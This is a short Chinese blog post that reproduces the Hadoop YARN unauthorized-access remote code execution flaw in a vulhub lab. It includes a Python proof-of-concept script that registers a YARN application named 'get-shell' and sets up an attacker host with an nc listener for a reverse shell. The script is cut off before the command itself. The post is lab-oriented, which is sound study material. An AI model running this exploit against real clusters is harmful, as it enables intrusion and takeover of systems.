Hadoop未授权访问漏洞复现

归零者k8

已于 2024-06-23 14:10:41 修改

阅读量805

点赞数 7

CC 4.0 BY-SA版权

分类专栏：安全测试文章标签： web安全

于 2024-02-08 10:26:28 首次发布

本文链接：https://blog.csdn.net/weixin_47124866/article/details/136076896

#0x00

Hadoop是一个由Apache基金会所开发的分布式系统基础架构。用户可以在不了解分布式底层细节的情况下，开发分布式程序。充分利用集群的威力进行高速运算和存储。

版本3.0.0以下存在Hadoop-yarn-RPC漏洞

#0x01

启动vulhub靶场

cd /vulhub/hadoop/unauthorized-yarn

docker-compose up -d

访问页面如下：

#0x02

POC代码如下

#!/usr/bin/env python
import requests

import sys
target = 'http://123.x.x.x'#目标ip
lhost = '39.x.x.x'  #将你的本地ip填在这里，使用nc监听55588端口
target = sys.argv[1]

url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'comma